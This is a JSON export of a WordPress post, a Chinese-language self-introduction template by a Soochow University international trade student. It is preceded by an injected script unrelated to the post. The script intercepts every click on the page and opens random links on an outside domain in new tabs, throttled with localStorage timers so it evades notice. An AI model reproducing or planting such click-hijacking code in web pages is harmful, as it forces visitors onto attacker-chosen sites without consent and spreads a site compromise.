<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":386,"date":"2014-05-10T22:22:19","date_gmt":"2014-05-10T14:22:19","guid":{"rendered":"http:\/\/edu.secda.info\/scu8154128\/?p=386"},"modified":"2023-03-27T22:08:54","modified_gmt":"2023-03-27T14:08:54","slug":"%e8%87%aa%e6%88%91%e4%bb%8b%e7%bb%8d","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154128\/?p=386","title":{"rendered":"\u81ea\u6211\u4ecb\u7d39"},"content":{"rendered":"<hr \/>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u7c21\u8981\u4ecb\u7d39\u3011<\/span> <\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt; color: #808080;\">\u54c8\u56c9\u5927\u5bb6\u597d \u6211\u662f\u6771\u5433\u5927\u5b78\u570b\u8cbf\u7cfb\u56db\u5e74\u7d1a\u7684\u5289\u7950\u7444\uff0c\u4eca\u5e74\u516d\u6708\u5c31\u8981\u7562\u696d\u4e86\uff0c\u5e0c\u671b\u6700\u5f8c\u7684\u6821\u5712\u751f\u6d3b\u6703\u5f88\u7f8e\u597d!<\/span><\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u7684\u5b78\u7fd2\u7279\u8cea\u3011<\/span> <\/strong><\/span><\/p>\n<p><span style=\"color: #808080; font-size: 12pt; line-height: 1.3em;\">\u77ad\u89e3\u81ea\u5df1\u7684\u5b78\u7fd2\u7279\u8cea\u55ce\uff1f\u4f60\u53ef\u4ee5\u5229\u7528SI\u8a55\u91cf\u7684\u300c\u6027\u683c\u8a55\u91cf\u300d\u8207\u300c\u5b78\u7fd2\u5831\u544a\u300d\uff0c\u5ba2\u89c0\u77ad\u89e3\u81ea\u5df1\u7684\u300c\u5b78\u7fd2\u98a8\u683c\u300d\u3001\u300c\u9069\u5408\u7684\u5b78\u7fd2\u6d3b\u52d5\u300d\u3001\u300c\u76ee\u6a19\u7ba1\u7406\u300d\u3001\u300c\u6642\u9593\u7ba1\u7406\u300d\u3001\u5b78\u7fd2\u7522\u751f\u7684\u300c\u60c5\u7dd2\u8207\u58d3\u529b\u7ba1\u7406\u300d\u7b49\u7279\u8cea\u50be\u5411\uff0c\u5beb\u4e0b\u53ef\u4ee5\u5982\u4f55\u5229\u7528\u4f60\u7684\u5b78\u7fd2\u7279\u8cea\u5f37\u5316\u4f60\u7684\u5b78\u7fd2\u6210\u679c\uff0c\u5982\u4f55\u8abf\u6574\u6539\u5584\u5c0d\u4f60\u4e0d\u5229\u7684\u5b78\u7fd2\u7fd2\u6163\u3002<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u5728\u6027\u683c\u4e0a\u7684\u512a\u52e2\u3011<\/span><\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt; color: #808080;\">\u53ef\u4ee5\u6839\u64daSI\u8a55\u91cf\u7684\u300c\u6027\u683c\u8a55\u91cf\u300d\u5831\u544a\u4e2d\uff0c\u6709\u95dc\u6027\u683c\u512a\u52e2\u7684\u6558\u8ff0\u5ef6\u4f38\u767c\u63ee\uff0c\u5c0d\u81ea\u5df1\u7684\u5b78\u7fd2\u6709\u4f55\u5e6b\u52a9\uff0c\u7528\u81ea\u5df1\u7684\u8a71\u8ff0\u8868\u9054\u51fa\u4f86\u3002<\/span><\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u8981\u6539\u5584\u7684\u5730\u65b9\u3011<\/span><\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt; color: #808080;\">\u6bcf\u500b\u4eba\u90fd\u6709\u500b\u6027\u4e0a\u9700\u8981\u8abf\u6574\u6539\u5584\u7684\u5730\u65b9\uff0c\u9664\u4e86\u4f60\u81ea\u5df1\u77e5\u9053\u7684\uff0c\u4e5f\u53ef\u4ee5\u6839\u64daSI\u8a55\u91cf\u7684\u300c\u6027\u683c\u8a55\u91cf\u300d\u5831\u544a\u4e2d\uff0c\u5c07\u6709\u95dc\u6027\u683c\u76f2\u9ede\u7684\u6558\u8ff0\u53c3\u8003\u8aaa\u660e\uff0c\u91cd\u8981\u7684\u662f\uff0c\u4f60\u53ef\u4ee5\u5982\u4f55\u7763\u4fc3\u81ea\u5df1\u8abf\u6574\u6539\u5584\u3002 <\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u7684\u8208\u8da3\u3001\u55dc\u597d\u3001\u5c08\u9577\u6280\u80fd\u3011<\/span><\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt;\"><span style=\"color: #808080;\">\u6709\u5341\u516b\u822c\u821e\u85dd\u55ce\uff1f\u4f60\u7684\u8208\u8da3\u8207\u5c08\u9577\u53ef\u80fd\u8ddf\u672a\u4f86\u7684\u5de5\u4f5c\u6709\u95dc\uff0c\u628a\u4ed6\u5011\u5217\u51fa\u4f86\u6709\u52a9\u65bc\u4f60\u5398\u6e05\u4f60\u7684\u5b78\u7fd2\u65b9\u5411\u8207\u76ee\u6a19\u3002\u66f4\u91cd\u8981\u7684\u662f\uff0c\u8208\u8da3\u3001\u55dc\u597d\u8207\u5c08\u9577\u7684\u5b78\u7fd2\u904e\u7a0b\uff0c\u5c0d\u81ea\u5df1\u7684\u91cd\u8981\u6027\u8207\u5f71\u97ff\u529b\uff0c\u4e5f\u5617\u8a66\u8457\u628a\u5b83\u5beb\u51fa\u4f86\u3002<\/span><\/span><\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u7684\u5fd7\u9858\u3001\u8077\u696d\u65b9\u5411\u3011<\/span><\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt; line-height: 1.3em; color: #808080;\">\u4f60\u53ef\u4ee5\u6839\u64da\u81ea\u5df1\u7684\u8208\u8da3\u3001\u5c08\u9577\u8207\u6027\u683c\u50be\u5411\uff0c\u53c3\u8003SI\u8a55\u91cf\u6240\u5efa\u8b70\u7684\u8077\u696d\u767c\u5c55\u65b9\u5411\uff0c\u5148\u66ff\u81ea\u5df1\u8a2d\u4e0b\u672a\u4f86\u7684\u751f\u6daf\u898f\u5283\u3002\u5982\u679c\u9858\u610f\uff0c\u9084\u53ef\u4ee5\u5617\u8a66\u7df4\u7fd2\u5beb\u4e0b\u4f60\u8981\u5982\u4f55\u898f\u5283\u57f7\u884c\uff0c\u7136\u5f8c\u5b9a\u671f\u6aa2\u8996\u8abf\u6574\u5167\u5bb9\u3002<\/span><\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u5c0d\u81ea\u5df1\u7684\u671f\u8a31\u3011<\/span><\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt; line-height: 1.3em; color: #808080;\">\u4f73\u53e5\u3001\u540d\u8a00\u3001\u5ea7\u53f3\u9298\uff0c\u6709\u5c0d\u81ea\u5df1\u7684\u671f\u8a31\u9858\u671b\u55ce\uff1f\u628a\u4f60\u8a8d\u70ba\u5c0d\u4f60\u6709\u5e6b\u52a9\u7684\u53e5\u5b50\u3001\u52c9\u52f5\u5beb\u4e0b\u4f86\uff0c\u53ef\u4ee5\u63d0\u9192\u81ea\u5df1\uff0c\u4e5f\u53ef\u4ee5\u5728\u5b78\u7fd2\u904e\u7a0b\u4e2d\u81ea\u6211\u52c9\u52f5\u3002 <\/span><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3010\u7c21\u8981\u4ecb\u7d39\u3011 \u54c8\u56c9\u5927\u5bb6\u597d \u6211\u662f\u6771\u5433\u5927\u5b78\u570b\u8cbf\u7cfb\u56db\u5e74\u7d1a\u7684\u5289\u7950\u7444\uff0c\u4eca\u5e74\u516d\u6708\u5c31\u8981\u7562\u696d\u4e86\uff0c<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[19],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/posts\/386"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=386"}],"version-history":[{"count":14,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/posts\/386\/revisions"}],"predecessor-version":[{"id":961,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/posts\/386\/revisions\/961"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=386"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=386"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=386"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}